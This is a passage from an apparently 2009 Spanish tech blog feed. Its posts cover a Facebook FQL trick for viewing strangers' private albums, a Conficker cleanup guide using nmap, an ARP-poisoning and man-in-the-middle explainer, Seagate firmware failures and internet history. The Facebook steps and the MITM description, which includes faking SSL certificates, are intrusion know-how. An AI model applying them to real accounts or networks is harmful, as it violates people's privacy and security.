internautas sepa ya como hacerlo c decidan a parcharlo... :/<br /></div><br />Los pasos serian los siguientes:<br /><br />1. abrir nuestra cuenta d facebook. O hacerse 1 cualquiera x supuesto ;)<br /><br />2. entrar a: http://developers.facebook.com/tools.php<br /><br />3. en el menu desplegable “metodo” seleccionar “fql.query”<br /><br />4. completar el campo “query” con:<br /><br />SELECT location, link<br />FROM album<br />WHERE owner=xxxxxxxxxx<br /><br /><div style="text-align: justify;">Donde xxxxxxxxxx es el id del usuario del q queremos ver sus albumes sin estar agregados.<br /><br />El query nos devuelve en el cuadro d la derecha 1 serie d datos entre los cuales c encuentran las urls d los albumes. Algo parecido a esto:<br /></div><br />&lt;album&gt;<br />&lt;location/&gt;<br />&lt;link&gt; http://www.facebook.com/album.php?aid=xxxxx&amp; amp; id=xxxxxxxxxx &lt;/link&gt;<br />&lt;/album&gt;<br /><br />Tomamos el link y le sacamos el “amp;”, con lo q quedaria asi:<br /><br />http://www.facebook.com/album.php?aid=xxxxx&amp;id=xxxxxxxxxx<br /><br /><div style="text-align: justify;">Ponganlo en el navegador y... bingo!!! Ya estan juackeando gente... xD<br /><br />Al dia d hoy esto sigue funcionando después d meses, hasta el propio creador d facebook fue victima del bug y sus fotos privadas estan dando vueltas x toda la red. Ademas d q... x supuesto cualquier criminal q sepa apretar 2 botones tambien esta viendo info privada del q quiere para saber q le puede robar o como lo puede engañar.<br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img13.imageshack.us/img13/5017/ikh0025l.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 400px; height: 327px;" src="http://img13.imageshack.us/img13/5017/ikh0025l.jpg" alt="" border="0" /></a><br /><div style="text-align: justify;">C siguen sintiendo seguros? No les importa? Solo googleen 1 poco para buscar info sobre criminales usando facebook para obtener datos d sus victimas... c van a asustar.<br /><br />La privacidad es algo muy importante y q hay q guardar muy bien, 1 mundo donde la vida d cada persona c puede encontrar en 1 base d datos publica no es nada seguro ya q la información es poder, poder para controlar a los demas, y el q tenga control sobre la bd tiene control d 1 forma u otra sobre esas personas ya q conoce su vida y todo lo q hace... la vieja historia del “big brother” pero real y en versión sXXI.<br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-7585784381838673436?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com6tag:blogger.com,1999:blog-3031385326498684086.post-69734096124308208432009-05-12T09:56:00.008-03:002009-05-12T14:39:49.707-03:00<div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img165.imageshack.us/img165/2043/38484202.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 240px; height: 244px;" src="http://img165.imageshack.us/img165/2043/38484202.jpg" alt="" border="0" /></a>Creo q a esta altura ya todos habran oido hablar d Conficker, el gusano d moda en la red… xD. La principal via d propagacion del mismo es la vulnerabilidad <span style="font-weight: bold;">MS08-067</span> q c soluciona con el parche <span style="font-weight: bold;">KB958644</span> que se puede descargar como siempre desde la pagina de Microsoft:<br /></div><br /><a href="http://www.microsoft.com/downloads/en/results.aspx?pocId=&amp;freetext=KB958644&amp;DisplayLang=en">http://www.microsoft.com/downloads/en/results.aspx?pocId=&amp;freetext=KB958644&amp;DisplayLang=en</a><br /><br /><div style="text-align: justify;">... aunque tambien esta presente la propagacion x usb y algun otro metodo, el parche es el 1er paso para evitar la reproducción del gusano en la red. En 1 equipo hogareño la desinfección es bastante facil, pero en 1 red corporativa la cosa c complica 1 poco mas.<br /></div><br /><div style="text-align: justify;">No voy a entrar demasiado en detalle sobre la accion del Conficker ya q abunda info y no es el tema central, pero si dar algunos consejos para ayudar a limpiar la red infectada. Las acciones pueden llevar desde la mas extrema, q es poner en cuarentena la red y limpiar estaciones d trabajo y servers, hasta metodos mas sutiles, q llevan mas tiempo pero no comprenden paralizar completamente la red. Hay q tener en cuenta q no siempre es posible paralizar 1 empresa aunque sea 1 solo dia...<br /><br />En el 1er caso, la desconexion d las pcs d la red impide la reinfeccion y el tema seria bastante facil. Desinfectar con cualquiera d las herramientas gratuitas d av q andan x internet, aplicar parche y x las dudas scannear otra vez hasta limpiar el total d las maquinas.<br /><br />La 2da opcion queda a criterio d quien este encargado d la red ya q según su extensión podria llevar varios dias. El 1er paso como siempre es parchar las pcs, q x otro lado ya deberian estar hace rato xq la actualizacion c libero en octubre d 2008, y ahí justamente tenemos el 1er punto para resaltar.<br /><br />Es normal q 1 user hogareño no tenga sus pcs actualizadas al dia pero es casi imperdonable q 1 red corporativa no tenga 1 actualizacion d hace 6 meses, tal vez esto ayude a q los admins no sean tan negligentes con estas cosas y den mas importancia a las actualizaciones. D este punto c agarra Microsoft para lavarse las manos del asunto... “yo saque mi actualizacion... vos no la bajaste... tu culpa” xD<br /><br />Otro punto q ayuda a parar la infeccion es cerrar el puerto 445 en las pcs. Este puerto c encarga del directory service (Microsoft-ds) y es el q usa el gusano. Esto puede hacerse x regla del mismo firewall d win o tal vez x el mismo antivirus si tiene opcion d blockeo d puertos. Desde la controla central c puede agregar la politica a los clientes y cerrar rapidamente esa via d infeccion.<br /><br />Tambien podemos deshabilitarlo borrando el siguiente valor del registro:<br /></div><span style="font-style: italic;"><br />HKLM\System\CurrentControlSet\Services\NetBT\Parameters\TransportBindName</span><br /><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img410.imageshack.us/img410/2035/conficker.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 321px; height: 284px;" src="http://img410.imageshack.us/img410/2035/conficker.jpg" alt="" border="0" /></a>Despues d esto, como en el caso anterior limpiar el sistema con alguna utilidad y x supuesto actualizar el av local q probablemente no lo estaba haciendo.<br /><br />Otra consecuencia del virus es q si existe en la red 1 politica d blockeo d passwords en X intentos fallidos, muchas d las cuentas apareceran blockeadas constantemente ya que trata de crackear x medio d fuerza bruta passwords del sistema para seguir la propagacion.<br /><br />La versión C entre otras “mejoras” instala 1 falso parche 958644 q aparenta ser el d Microsoft y d hecho repara la vulnerabilidad pero contiene 1 backdoor para futuras reinfecciones, x lo cual podriamos pensar q 1 maquina esta limpia y parchada cuando no lo esta realmente...<br /></div><br /><br /><br /><span style="color: rgb(255, 255, 51);font-size:130%;" ><span style="font-weight: bold;">Nmap</span></span><br /><br /><div style="text-align: justify;">A partir d la versión 4.85b5 nmap puede detectar remotamente maquinas infectadas, lo cual facilita muchisimo el trabajo, ya q x lo gral las consolas d av son demasiado lentas y generar 1 informe para cientos d maquinas para tener 1 panorama claro lleva tiempo, ademas del proceso d comunicación entre el cliente y el servidor, y las molestias en la red q ocasiona el gusano.<br /><br />Con nmap en unos pocos mins tenemos los resultados bastante claros en 1 scan completo d la red. El comando para scannear buscando Conficker seria el siguiente:<br /></div><br /><span style="font-style: italic;">nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args safe=1 [rango ip]</span><br /><br /><div style="text-align: justify;">el resultado en 1 cliente limpio seria “<span style="font-weight: bold;">Conficker: Likely CLEAN</span>” y en 1 infletado “<span style="font-weight: bold;">Conficker: Likely INFECTED</span>”. Ademas de mostrar el estado d los puertos 139 y 445.<br /><br />Algo todavía mas interesante es scannear tambien en busca del parche. Lo cual hacemos cambiando el ultimo modificador x unsafe:<br /></div><br /><span style="font-style: italic;">nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns --script-args unsafe=1 [rango ip]</span><br /><br /><div style="text-align: justify;">en 1 pc parchada el resultado seria “<span style="font-weight: bold;">MS08-067: FIXED</span>”, y en 1 q no lo esta “<span style="font-weight: bold;">MS08-067: VULNERABLE</span>”.<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img204.imageshack.us/img204/9106/20090331conficker2.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 243px; height: 200px;" src="http://img204.imageshack.us/img204/9106/20090331conficker2.jpg" alt="" border="0" /></a>Pero eso no es todo, ya q cabe tambien la posibilidad d q el parche sea el generado x el gusano y esto tambien es posible verlo en el scanneo. El resultado seria “<span style="font-weight: bold;">MS08-067: PATCHED (possibly by Conficker)</span>”. En este caso el parche es falso. Hay q desinstalarlo, scannear e instalar el verdadero.<br /><br />A pesar d q mucha gente d IT mira despectivamente al nmap como 1 herramienta d “hackers” creo q no hay forma mas rapida d tener 1 informe claro del grado d infección y x lo tanto erradicarla lo mas rapido posible.<br /></div><br />Descarga d nmap:<br /><br /><a href="http://nmap.org/download.html">http://nmap.org/download.html</a><br /><br />no tengan miedo... usenlo!!! xD<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-6973409612430820843?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com2tag:blogger.com,1999:blog-3031385326498684086.post-47155708903631362582009-03-19T21:18:00.009-03:002009-03-20T09:13:17.920-03:00<div><div><div><div><br /><div><div style="text-align: justify;"><a href="http://img4.imageshack.us/img4/5619/hackerd.gif"><img style="margin: 0px 0px 10px 10px; float: right; width: 247px; height: 315px;" alt="" src="http://img4.imageshack.us/img4/5619/hackerd.gif" border="0" /></a>Este ataque tan d moda esta bastante explicado en la parte d la puesta en practica, se pueden encontrar x toda la red tutoriales con titulos como “Como hackear contraseñas de Hotmail, Gmail, etc” o “Sea juacker en 3 rapidas lecciones”, con capturas d pantalla e instrucciones paso a paso d como sniffar redes, hacer ataques mitm, etc. Eso si... lo unico q c explica es “abri esto”, hace click alla, después en el otro lado... y asi... je<br /><br />Lo q no esta tan explicado es la teoria, en consecuencia hay cantidad d gente x ahí mandando paquetes arp sin saber mucho d lo q hacen realmente... y aunq consigan su objetivo, siempre es bueno saber como y xq funcionan las cosas.<br /><br />Para los q quieren enterarse 1 poco voy a tratar d explicar d manera facil d entender como funciona el tema. Proximamente en otra entrada, para no ser menos, 1 poco d practica con Ettercap o Cain.<br /></div><br /></div><br /><div> </div><br /><div></div><br /><div><strong><span style="color: rgb(255, 255, 0);">ARP, NIC, MAC... y todo eso…</span></strong><br /><br /><div style="text-align: justify;">Como todos sabemos el dispositivo d red tiene 1 direccion IP (Internet Protocol) q es la q lo diferencia d los demas y nos brinda la forma d ubicarlo dentro d la red. La ip es unica e irrepetible y blah blah blah... hasta ahí llegamos con eso xq c supone q saben lo q es 1 IP. Para el q no lo sepa q empiece leyendo aca:<br /></div><br />http://es.wikipedia.org/wiki/Direcci%C3%B3n_IP<br /><br /><div style="text-align: justify;">IP es 1 sistema bastante bueno en muchos sentidos pero tiene el problema d q las direcciones pueden ser tanto estaticas como dinamicas y las estaticas tambien pueden ser cambiadas en algun momento... las dinamicas, según el leasing q otorgue el DHCP d nuestra red y la cantidad d peticiones, podriamos llegar a desconectar el cable y tener 1 nueva direccion al reconectar... como entonces podemos reconocer 1 dispositivo sin temor a equivocarnos?<br /></div><br /><div style="text-align: justify;"><a href="http://img4.imageshack.us/img4/4144/macosotmac.gif"><img style="margin: 0px 10px 10px 0px; float: left; width: 292px; height: 252px;" alt="" src="http://img4.imageshack.us/img4/4144/macosotmac.gif" border="0" /></a>Ahí entra en juego la MAC (Media Access Control). 1 dispositivo d red tiene 2 direcciones, la IP (d la q hablábamos), y la MAC, q es la dirección física, la cual tambien es unica para cada dispositivo o NIC (Network Interface Card).<br /><br />La MAC viene d fabrica grabada en 1 chip, a diferencia d la IP q es asignada ya sea x DHCP o el SO, y “teóricamente” es imposible d cambiar. Digo teóricamente xq en la practica no lleva mucho + q 3 o 4 clicks en win y 1 linea d consola en *nix. X supuesto q sigue teniendo la misma dir y es el SO el q emula 1 distinta, aunque para todo efecto se cambio y la vieja ya no existe en la red, pero eso es otro tema...<br /><br />Esta dirección esta compuesta x 6 campos d 1 byte d longitud (FFh) d los cuales los 3 1eros corresponden al fabricante y son asignados x la IEEE Standards Association. Este codigo es llamado OUI (Organizationally Unique Identifier) y se puede consultar en esta dirección:<br /></div><br /><a href="http://standards.ieee.org/">http://standards.ieee.org/</a><br /><br /><div style="text-align: justify;">los ultimos campos son la identificación unica del dispositivo, la cual queda a criterio del fabricante.<br /><br />Como c puede ver la MAC es algo mucho + estatico q la IP y x lo tanto tiene la desventaja d no poderse ordenar en rangos o subredes como podemos hacer fácilmente con las IPs. Ademas d q una MAC no es routeable y x lo tanto no sirve para protocolos d internet, solamente comunicación d hardware a nivel d red local, x esa razon todos estos ataques sirven solamente en 1 LAN (Local Area Network) o “red local”... perfecto para empresas, escuelas, etc.<br /></div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Lo unico q nos faltaria ahora para identificar “sin temor a confundirnos” 1 dispositivo es poder asociar 1 direccion con la otra y para eso tenemos justamente el protocolo ARP (Address Resolution Protocol).</div><div> </div><br /><div> </div><br /><div> </div><br /><div><br /><span style="font-weight: bold; color: rgb(255, 255, 0);">ARP</span></div><div><br /><div style="text-align: justify;">En la capa física de la red solo tenemos NICs q c comunican unos con otros a traves d su MAC. Para llegar a esto, como deciamos anteriormente, necesitamos asociar la dirección IP (d la capa d red) con la MAC address. D eso justamente c ocupa el protocolo ARP.<br /><br />La mejor explicación q recuerdo d lo q hace este protocolo es 1 maestra en la escuela tomando lista d asistencia el 1er dia d clases. Va diciendo los nombres 1 x 1, todos escuchan la lista pero solo responden al suyo, la maestra mientras tanto asocia nombres con caras.<br /><br />Ahora supongamos q la PC1 quiere mandar 1 archivo a la PC2, lo 1ero q obtiene PC1 (digamos q tiene la dir 192.168.0.90) es la IP de PC2 (192.168.1.100). A partir d este dato tira 1 paquete ARP request a toda la red (FF:FF:FF:FF:FF:FF) diciendo:<br /></div><br /><div style="text-align: justify;">- Soy la MAC xx:xx:xx:xx:xx:xx con la ip 192.168.0.90. Quien tiene la IP 192.168.1.100?<br /></div><br /><div style="text-align: justify;">Todos los dispositivos hacen caso omiso salvo PC2 que responde con 1 ARP reply algo como:<br /></div><br />- Yo tengo esa IP y mi MAC es yy:yy:yy:yy:yy:yy.<br /><br /><div style="text-align: justify;">Con esto PC1 puede enviar los datos directamente al hardware de PC2. Ademas PC2 d ahora en adelante “recuerda” la MAC de PC1. Esto sucede gracias a que cada vez q 1 dispositivo c relaciona con otro estos datos quedan almacenados en el cache ARP. Este cache es 1 segmento de memoria q el sistema usa para almacenar la tabla de direcciones q ya conoce para no tener q repetir el procedimiento. D manera q si PC1 tiene q mandar alguna otra cosa a PC2 no es necesario q repita todo el proceso xq simplemente ya conoce su dirección física.<br /></div><div style="text-align: justify;"><br /><a href="http://img10.imageshack.us/img10/3735/arpy.jpg"><img style="margin: 0px 0px 10px 10px; float: right; width: 251px; height: 212px;" alt="" src="http://img10.imageshack.us/img10/3735/arpy.jpg" border="0" /></a>Todo parece muy bueno y eficiente, pero en realidad tiene varios problemas este sistema. Para empezar cada dispositivo tiene su propia tabla ARP, no es algo unificado x la red, y no todos los dispositivos renuevan su información con la misma frecuencia (como los routers x ej q son + lentos para refrescar) d manera q podemos llegar a estar mandando info a 1 dispositivo q ya no existe o a 1 equivocado o... montones d cosas, pero hay mas... je<br /><br />El protocolo ARP no cuenta con ningun metodo d autenticacion, o sea q el dispositivo q hace el requerimiento “confia” en q la replica viene d la pc q tiene q venir... y no solo eso, sino q puede aceptar replicas sin haber hecho ningun requerimiento antes... xD<br /><br />A esta altura, para los q tienen 1 poco d imaginación, ya esta bastante claro como trabaja el envenenamiento. En este escenario podriamos mandar replies ARP a cualquier dispositivo haciendole creer q la MAC q c nos ocurra esta asociada con la IP q nos convenga.<br /><br />Esto nos lleva a multiples tipos d ataque, el mas facil y directo seria 1 D.O.S. (Denial of Service o Denegación de Servicio). Seria muy facil x ej envenenar la tabla d la victima para hacerle creer q la MAC del router q lo saca a internet pertenezca a X pc o a 1 q ni siquiera exista, con lo cual seguiría teniendo conexión con la LAN pero sin salida al exterior. O hacer lo mismo con 1 impresora o el dispositivo q sea para evitar la comunicación. X supuesto hay q estar constantemente mandando replicas ya q la tabla c renueva periódicamente y vuelve a la normalidad.<br /><br />1 ataque como este podemos practicarlo con utilidades como Nemesis (disponible tanto para sistemas win como *nix):<br /></div><br /><a href="http://nemesis.sourceforge.net/manpages/nemesis-arp.1.html">http://nemesis.sourceforge.net/manpages/nemesis-arp.1.html</a><br /><br />pero vamos a ver cosas + interesantes q 1 simple denegacion d servicio... ;)</div><br /><div></div><br /><div><br /></div><br /><div><strong><span style="color: rgb(255, 255, 0);">M.I.T.M. (Man In The Middle)</span></strong><br /><br /><div style="text-align: justify;">Teniendo conocimiento d esta tecnica podriamos interceptar el trafico entre 2 dispositivos. Supongamos q la maquina q queremos interceptar tiene la IP 192.168.0.50 y el router la 192.168.0.1. Podriamos enviar replies ARP al router (sin q este haya solicitado nada como vimos antes) asociando la 192.168.0.50 con nuestra MAC y luego a la victima asociando a su vez la ip del router (192.168.0.1) tambien con nuestra MAC. D esta manera la victima nos estaria enviando todos los datos creyendo q somos el router y x medio d “IP forwarding” redirigimos todo el trafico hacia allí.<br /><br />En el grafico siguiente podemos ver arriba el flujo normal d informacion y debajo el q seguiria durante el ataque:<br /></div><br /><img style="margin: 0px auto 10px; display: block; width: 391px; height: 528px; text-align: center;" alt="" src="http://www.chrissanders.org/images/ARPCP/arpcp-1.jpg" border="0" /><br /><br /><div style="text-align: justify;">X supuesto q en medio d todo esto vemos todas las claves d texto plano (ftp, telnet, etc) q manda la victima hacia fuera. El problema lo tendriamos en conexiones SSL (Secure Sockets Layer) donde c requiere 1 certificado para validar la sesion, pero utilidades como Ettercap o Cain nos dan la posibilidad d crear 1 falso certificado para engañar a la victima. El browser da aviso d q es “sospechoso”, pero como todos sabemos el user comun siempre hace click en “next”... je<br /></div><br /><br /><br /><div style="text-align: justify;">Creo q con eso es suficiente como para aunque sea tener idea d lo q c hace cuando c practica este tipo d ataque. Esto no pretende ser mas que 1 explicacion algo “casera” d lo q es arp y arp poisoning, si a alguien le interesa profundizar en el tema hay muchas publicaciones profesionales donde leer y es 1 tema bastante interesante.<br /><br /><br /><br /></div></div></div></div></div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-4715570890363136258?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com2tag:blogger.com,1999:blog-3031385326498684086.post-13566509474455705502009-02-05T11:23:00.007-02:002009-02-05T14:28:04.153-02:00<div style="text-align: justify;"><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img24.imageshack.us/img24/5491/720011pp1.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 345px; height: 265px;" src="http://img24.imageshack.us/img24/5491/720011pp1.jpg" alt="" border="0" /></a>Estos dias estaba buscando hds para comprar, x supuesto seagate, la mejor marca del mercado y blah blah blah. Muchos diran "pero si la mejor marca es WD? (Western Digital)"... nah... WD era la mejor marca hace muchos años, cuando los discos tenian 1gb d almacenamiento o antes todavia, despues solo conservo el nombre como muchas otras marcas. No estoy diciendo q sean los peores discos (los peores son los hitachi xD), pero si q los seagate (o maxtor q los hace la misma empresa) son muy superiores.<br /><br />... o eso creia hasta hace poco... :P<br /><br />Parece que seagate metio la pata en el firmware d algunas series d sus discos nuevos y c clavan al poco tiempo d haber sido comprados... algunos en - d 1 mes. No pude ver ninguno personalmente pero x lo q dicen el drive funciona ok y d repente en algun booteo c blockea y no es detectado x el setup. El disco enciende, gira, pero es como si no estuviera para el setup d la maquina.<br /></div><br />Los modelos afectados son:<br /><br /><span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 0);">Barracuda 7200.11</span><br /><br /><span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 0);">Barracuda ES.2 SATA</span><br /><br /><span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 0);">DiamondMax 22 (Maxtor)</span><br /><br /><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img514.imageshack.us/img514/1120/deadbarracuda01pg5.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px; height: 240px;" src="http://img514.imageshack.us/img514/1120/deadbarracuda01pg5.jpg" alt="" border="0" /></a>En principio seagate estuvo censurando las protestas d los usuarios afectados en su web pero al parecer el problema c hizo demasiado grande para taparlo y tuvieron q aceptar la falla y hacerse cargo del problema ante la posibilidad d demandas y toneladas d reclamos.<br /><br />La 1er muestra d aceptacion del problema fue 1 informe en su web y 1 firmware para parchar la falla:<br /></div><br />http://seagate.custkb.com/seagate/crm/selfservice/search.jsp?DocId=207931<br /><br /><div style="text-align: justify;">en la pag c minimiza el problema diciendo q afecta a 1 pequeño num d drives y q pueden usarse como estan... aunq recomiendan hacer el upgrade d firmware q c puede encontrar en el link anterior... xD<br /><br />no todo termina ahi xq despues c encontro otro problema afectando a los modelos d 500GB, 750GB y 1TB del 7200.11. upgrade para eso aca:<br /></div><br />http://www.seagate.com/www/en-us/support/downloads/other_downloads/cuda-fw<br /><br /><div style="text-align: justify;">este problema afecta al parecer al uso del cache haciendo q el disco no lo aproveche en su totalidad... 1 vez + dicen q el hd puede ser utilizado asi pero... pero... mejor upgradear... je<br /></div><br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img25.imageshack.us/img25/2341/barracudadrivecountriesgh6.jpg"><img style="cursor: pointer; width: 450px; height: 284px;" src="http://img25.imageshack.us/img25/2341/barracudadrivecountriesgh6.jpg" alt="" border="0" /></a><br /><span style="font-size:85%;"><span style="font-style: italic;">En el mapa podemos ver los paises con reportes d fallas marcados en rojo.</span></span><br /></div><br />volviendo al tema principal... donde esta el problema entonces ahora? si ya esta parchado!!!<br /><br /><div style="text-align: justify;">no no, el problema es q si el disco ya c vio afectado y ya no lo reconoce el setup es imposible hacer 1 upgrade d firmware xq la placa logica del disco esta muerta y para la controladora no hay ningun hd. x supuesto q la info sigue estando en los platos del disco y blah blah blah pero no esta a la mano d cualquiera recuperarlo en s estado.<br /><br />cambiando la logica seguramente c salve todo facilmente pero... d donde sacar 1 logica usada d 1 hd modelo recien salido d 1tb?? imposible.<br /><br />despues la empresa ofrece cambiar el disco inservible x 1 nuevo pero a mucha gente q tenia montones d cosas en el no le gusto mucho la idea d perder todo y la recuperacion d datos es muy cara... mucho + q 1 disco nuevo, pero mucho - q la info q puede llegar a contener. finalmente al parecer seagate tambien c hace cargo d la recuperacion d los datos (estando el hd en gtia x supuesto). si ud es 1 afectado d la "plaga d las barracudas" puede pedir su recuperacion d datos aca:<br /></div><br />http://www.seagate.com/www/en-us/about/contact_us/<br /><br />ir a "data recovery" y llenar formularios... xD<br /><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img3.imageshack.us/img3/2631/seagatebarracuda720011je9.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 180px; height: 207px;" src="http://img3.imageshack.us/img3/2631/seagatebarracuda720011je9.jpg" alt="" border="0" /></a>esto seguramente va a traer muchas bajas en las ventas d seagate si no lo arreglan rapido y dejan a todos contentos (cosa q no creo muy probable) y seguramente muchos users van a volver a WD. es 1 lastima xq seagate venia muy bien, y es increible q pasen estas cosas teniendo encima la cantidad d tests q debe tener 1 producto antes d salir a la venta.<br /><br />tengan cuidado xq en la calle hay discos afectados y con el firmware viejo, fijense bien al comprar o sino atenganse a las consecuencias!!<br /><br /><br /><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-1356650947445570550?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-81622180171668342682009-02-04T11:05:00.007-02:002009-02-04T11:33:44.228-02:00<div style="text-align: justify;"><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img3.imageshack.us/img3/8554/telegrafomg5.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 303px; height: 320px;" src="http://img3.imageshack.us/img3/8554/telegrafomg5.jpg" alt="" border="0" /></a>Hace mucho tiempo (no tanto en realidad)... las computadoras eran complejos aparatos aislados unos d otros, c/u haciendo su trabajo x separado y tal vez intercambiando datos d vez en cuando x medio d tarjetas perforadas, cintas magneticas y medios d almacenamiento d este estilo...<br /><br />Hasta q 1 dia alguien c dio cuenta del ahorro d tiempo, dinero y montones d otras cosas q c podia ganar interconectandolas. No solo a las computadoras sino a cualquier dispositivo q pudiera ofrecer alguna utilidad. En esa epoca impresoras, medios d almacenamiento y comunicación d datos, hasta llegar hoy en dia a tener la heladera conectada a internet entre muchas posibles cosas.<br /><br />La 1era estructura d red c podria decir q fue el telegrafo en el sXIX, despues las redes telefonicas, hasta llegar a la comunicación entre computadoras. Esta c llevaba a cabo a traves d esta misma red usando MODuladores/DEModuladores (modems) q convertian la señal digital en analogica para poder usar el canal fisico (la linea telefonica) para transportarla hacia el otro extremo donde c hacia el proceso inverso (analogico/digital) para q la otra maquina pudiera entenderlo. Todo esto a traves d 1 cable d cobre q es el mismo q c utilizaba para las comunicaciones d voz y q hoy todavia existe (aunq muy mejorado) en el viejo dialup.<br /><br />Este modelo d comunicación solo permitia la conexión d 1 cliente a 1 servidor pero no la interconexion d los clientes entre si. O sea q 1 maquina c conectaba contra otra y ahí quedaba todo. Esta forma d comunicación es llamada “circuit switching” o “conmutacion d circuito”.<br /><br />Una comparacion facil con la conmutacion d circuito puede ser 1 conversacion telefonica normal (no ip). 1 persona establece comunicación con otra en otra parte del mundo y el canal d comunicación queda cerrado exclusivamente para esto hasta q las partes cortan como el cliente/servidor del q hablabamos antes...<br /><br />Todo esto cambio en los 60´s con el concepto d “packet switching” o “conmutacion de paquetes”. La 1era red experimental d este tipo fue creada en Inglaterra, despues hubo algunas pruebas en Francia, hasta q a fines d los 60´s llego a USA donde cayo en manos del ARPA (Advanced Research Projects Agency Network). Esta creo ARPANET, q fue la 1era red operacional basada en este nuevo formato y es la base d lo q hoy conocemos como Internet.<br /><br />En este modelo 1 maquina puede usar 1 unico canal d comunicación para intercambiar informacion con + d 1 sistema desensamblando los datos en datagramas y uniendolos en paquetes. De esta manera el canal puede ser compartido ademas d q los paquetes pueden ser dirigidos (routeados) independientemente unos d otros.<br /><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img12.imageshack.us/img12/5213/300pxleonardkleinrockanmc5.png"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 257px; height: 165px;" src="http://img12.imageshack.us/img12/5213/300pxleonardkleinrockanmc5.png" alt="" border="0" /></a><div style="text-align: justify;"> Desde q en 1965 c establecio la 1er red WAN del mundo, conectando 1 TX-2 en massachusets con 1 Q-32 en california (sin packet-switching) muchas cosas cambiaron, pero en resumen en 1969 c crea el 1er nodo d arpanet en la UCLA y las 1eras redes para los investigadores d ARPA y poco + tarde, en el mismo año para el resto d la comunidad universitaria.<br /><br />En el ´70 nace el UNIX, poco + tarde el correo electronico y el famosisimo telnet, unos años despues el protocolo TCP/IP y las redes ethernet hasta q en el 90 arpanet deja d existir como tal y c convierte en “internet” poco despues d la aparicion d los 1eros ISP comerciales. entre unos pocos paises en argentina ya estabamos conectados... ;)<br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-8162218017166834268?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com2tag:blogger.com,1999:blog-3031385326498684086.post-46450043655049681912008-12-14T15:35:00.005-02:002008-12-16T10:30:41.178-02:00<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img514.imageshack.us/img514/8591/mrsantaclausvi9.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 252px; height: 218px;" src="http://img514.imageshack.us/img514/8591/mrsantaclausvi9.jpg" alt="" border="0" /></a><br /><div style="text-align: justify;">Este texto es d 1 cadena d mail d hace mucho tiempo, cuando hotmail no era d microsoft, linux era solo para geeks y la internet no estaba tan atestada d gente... cada año lo pongo en algun lado para q no c pierda xq me parece uno d los textos navideños + graciosos q vi en mi vida.<br /><br />espero q lo disfruten... xD<br /></div><br /><hr /><br /><b>Conclusiones sobre la no existencia de Papa Noel:</b><br /><br /><br /><div style="text-align: justify;">1) Ninguna especie conocida de reno puede volar. No obstante, existen 300.000 especies de organismos vivos pendientes de clasificación, y si bien la mayoría son insectos y gérmenes, no es posible descartar completamente la existencia del reno volador de Laponia septentrional.<br /></div><br /><div style="text-align: justify;">2) En la tierra habitan alrededor de 2.000 millones de niños (considerando únicamente como tales a los menores de 18 años). Si tenemos en cuenta que Papa Noel únicamente se ocupa de los niños de confesión cristiana, la cifra de niños bajo su responsabilidad se reduce a un 15% del total, alrededor de 378 millones de niños. Según las estadísticas de población mundial facilitadas por la ONU, corresponden a 3,5 niños por hogar lo que sitúa en 91,8 millones los hogares que debieran ser visitados, suponiendo, claro esta, que haya al menos un niño por hogar que se haya portado bien.<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img81.imageshack.us/img81/7751/santaclausewavingok2.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 285px; height: 259px;" src="http://img81.imageshack.us/img81/7751/santaclausewavingok2.jpg" alt="" border="0" /></a>3) 